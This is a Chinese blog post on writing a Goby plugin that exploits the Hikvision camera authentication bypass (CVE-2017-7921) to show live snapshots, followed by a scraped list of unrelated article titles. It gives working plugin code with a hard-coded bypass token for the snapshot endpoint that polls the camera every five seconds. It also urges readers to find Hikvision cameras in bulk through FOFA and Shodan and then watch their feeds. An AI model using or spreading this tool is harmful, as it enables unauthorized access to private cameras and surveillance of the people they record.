前言:之前在Goby群里看到有人讨论过海康这个漏洞,自己平时也有遇到过。该漏洞能够查看摄像头的的快照,但是每次都需要手动去访问。耳东表姐一直催插件(没有),所以写一个简单的验证插件来熟悉熟悉goby的插件开发流程。希望通过此次分享,吸引更多人大佬能加入到开发插件的行列中来,搞点牛批的插件出来。

0x001 插件效果

当扫描出Hikvision IP Camera Access Bypass漏洞后,会在漏洞页面和资产详情页面显示”验证按钮”(和MSF插件是一样的),点击之后即可弹窗看到摄像头快照PPT(5秒刷新一次)。

0x002 开发流程

1. 注册自定义组件要触发的命令

Goby官方的开发文档里有很详细的说明,也有提供样例项目,将其下载并解压到goby/extensions目录下,然后运行goby就能看到demo了,剩下的就是改了:

exports.activate = activate;function activate(content) {goby.registerCommand('Hikvision', (content) => {    let path = __dirname + "/index.html?hostinfo=" + content.hostinfo;    //设置打开新窗口的html文件路径,并传入当前hostinfo信息goby.showIframeDia(path, "Hikvision登录绕过验证", "800", "600");    //打开一个800*600的iframe窗口,窗口标题为“Hikvision登录绕过验证”});goby.registerCommand('Hikvision_visi',  (content) => {    return content.name === "Hikvision IP Camera Access Bypass(ICSA-17-124-01/CVE-2017-7921)"    //对漏洞名称进行判断});
}exports.activate = activate;

提示: 因为要在扫描结果中存在该漏洞才能显示该组件。所以这里使用了控制组件是否显示的回调命令,它绑定在views的visible字段上,根据其返回的布尔值来决定是否显示该组件。

2. 配置视图入口点

插件的入口点,我选在漏洞列表页,需要在package.json里进行配置,即contributes.views.vulList,填写想要的标题、对应的命令、以及控制该组件显示的回调命令。

"contributes": {"views": {"vulList": [{"command": "Hikvision","title": "验证","visible": "Hikvision_visi"}]}

3. 开发html页面

官方使用的layui,因为不需要复杂的界面,直接就在给的样例HTTP发包插件的基础上去改。开发流程很简单,因为我是真的菜,所以请教了我的同事@Ma1tobiose

开发流程如下:

  1. 获取iframe的参数,这段是直接从官方样例里拿过来简单做了下修改:
function GetIframeQueryString(name, id) {var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i');var r =window.parent.document.getElementById(id).contentWindow.location.search.substr(1).match(reg);if (r != null) {return decodeURI(r[2]);}return null;
}
  1. 拿到漏洞的ip后进行拼接,将返回的图片传给定义好的IMG标签,并吗,每5秒一次进行循环请求:
// 拼urlvar url = ("http://"+GetIframeQueryString("hostinfo", "goby-iframe")+"/onvif-http/snapshot?auth=YWRtaW46MTEK");window.onload = function () {   get()}setInterval(function () {get();}, 5000);// 循环请求function get(){$("#test").attr('src',url + "&t=" + Math.random());}

开发测试完之后就是打包上传了,因为直接是拿官方样例修改的,所以目录结构不需要再重构。

4. 打包上传

打包前需要注意的两点:一是demo的gif需要生成一个在线的地址,因为goby还不支持还没实现抓取readme图片。二是压缩包和文件夹名称须保持一致,文件放置如下图所示。

5. 更新

因为更换demo图地址,所以我更新了一次版本。打开package.json修改版本号,以及在CHANGELOG.md新增更新说明。更新上传过程中还遇到一个bug:没有权限,但是耳东小姐姐积极沟通复现解决掉了。

0x003 小结

Goby的开发文档里写的很详细很清楚,开发整个插件也就用了一个小时的时间。当然也是因为功能比较简单,感觉没啥太大用处,主要是为了熟悉Goby的插件开发流程。理论上来说插件能够搭配Goby实现很多场景的应用,但是因为插件功能刚开放没有成为亮点,只能用JS开发也比较有限制性。

表哥们可以利用FOFA插件和大壮表哥开发的Shodan插件查询海康威视摄像头资产,并批量导入,扫出漏洞后使用Hikvision插件看PPT(你懂的)。

漏洞详情可参考:https://www.seebug.org/vuldb/ssvid-96469
插件开发文档:https://github.com/gobysec/GobyExtension

插件分享 | 可以查看摄像头快照的“Hikvision插件”相关推荐

  1. 【Unity3D插件】RuntimeTransformGizmos插件分享《Unity运行时控制模型插件》

    推荐阅读 CSDN主页 GitHub开源地址 Unity3D插件分享 简书地址 我的个人博客 QQ群:1040082875 一.前文   Runtime Transform Gizmos看名字顾名思义 ...

  2. layui第三方插件引入_插件分享 | 可以进行web爬虫的Xray插件(文章末尾有福利)...

    前言:Xray有多香想必大家应该是知道的(上星期在做某演练的时候就用Xray扫到了不少洞).所以,当时看见Github上有联动Xray的需求,就尝试着写了此插件.本次讲的会稍微仔(啰)细(嗦)一点,希 ...

  3. su一键封面插件_插件分享丨一键制作SU爆炸分析图插件分享

    软 设 开启全新的学习之旅 Start a new learning journey 软件设计 跟着老北鼻学设计吧!!! 爱上设计 爱上学软件 轻松·高效·系统 记得文末私信哦!!! 01 资源介绍 ...

  4. js获取域名ip地址_插件分享 | 可在线查询子域名和同IP域名的RapidDNS

    前言:https://RapidDNS.io 是一个秒级在线子域名和同IP域名的查询工具.目前拥有25亿条DNS记录,支持A.AAAA.CNAME.MX4种DNS记录类型.由于Goby程序对子域名收集 ...

  5. html排序按钮_插件分享 | 可进行排序扫描任务的Task Queue

    前言:在以往hvv场景中使用Goby的过程总是存在一个痛点:时间短,目标多,只能盯着扫描进度结束后才能手动返回到初始界面开启下一个扫描任务(内心极度狂躁).本次Goby更新后又开放了新的插件入口点以及 ...

  6. 【Unity3D插件】AVPro Video插件分享《视频播放插件》

    推荐阅读 CSDN主页 GitHub开源地址 Unity3D插件分享 简书地址 我的个人博客 QQ群:1040082875 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给 ...

  7. MySQL8.0 物理克隆接口_技术实战 MySQL 8.0.17 克隆插件分享-爱可生

    原标题:技术实战 MySQL 8.0.17 克隆插件分享-爱可生 背景 很神奇,5.7.17 和 8.0.17,连续两个17小版本都让人眼前一亮.前者加入了组复制(Group Replication) ...

  8. ios最新防越狱检测插件_-一份从零开始的iOS插件分享-

    最近我分享了很多关于越狱的插件,在这个文里我会一步一步告诉大家我是如何实现的. 在前面各位需要了解的是,这一切都建立在越狱之上,得益于P大以及众多大佬的努力,目前所有的iOS设备都可以越狱,并且使用极 ...

  9. 私藏多年的vscode插件分享,让你成为一个高效开发的程序员

    vscode插件就像手机里的应用商店一样,可以让我们在高效代码开发.为了美观的代码格式,可以更好的高逼格分享代码等系列功能,本文特意整理了艾编程老师多年来使用vscode的经验,整理的插件集希望对您有 ...

最新文章

  1. Intel发布FPGA
  2. 双核处理(动态规划)
  3. 删除数据库中与同步数据冗余的数据(多对多)
  4. Python用selenium获取cookie以后给rqeuests使用。
  5. Spark Streaming初步使用以及工作原理详解
  6. PI Function Library 应用,公共UDF开发
  7. (译)如何使用cocos2d制作一个塔防游戏:第三部分
  8. WorldWind学习系列六:渲染过程解析篇
  9. 冗余链路中STP协议的工作过程以及二期STP收敛速度优化方案介绍
  10. 【转】Knowledge-Distillation 知识蒸馏论文集合
  11. 云计算和雾计算的区别?
  12. stm32运行java虚拟机_windows下的基于Eclipse的STM32开发调试环境搭建
  13. ScriptManager和ClientScript的区别
  14. python安装pylab库
  15. 米家扫拖一体机器人重置键_如何评价小米米家扫拖一体机器人?
  16. sfc /scannow扫描修复系统文件命令怎么用
  17. 出走的门徒之五—云知声 黄伟:AI热终会冷,要跑的比任何风口快
  18. centos7 通过git连接GitHub仓库
  19. C语言用if语句判断规定字符串
  20. 广州市番禺区2021-2022学年九年级第一学期期末考试英语试题

热门文章

  1. 一个诗人的一生——诗人小G的人生
  2. 【图像识别】基于卷积神经网络(CNN)实现垃圾分类Matlab源码
  3. pip更新超时失败之解法
  4. 离线NTP服务器搭建(Linux)
  5. java 如何打开osk_如何通过程序(C++语言开发)去将osk隐藏或者关闭??
  6. 对大咖说中 熊猫tv直播的 研究
  7. 个股期权去哪里买?个股期权开户条件是什么?
  8. 【Python 初学者】从零开始构建自己的神经网络
  9. python-获取UUID
  10. 大学计算机专业课教师听课评语,听课后的评语及记录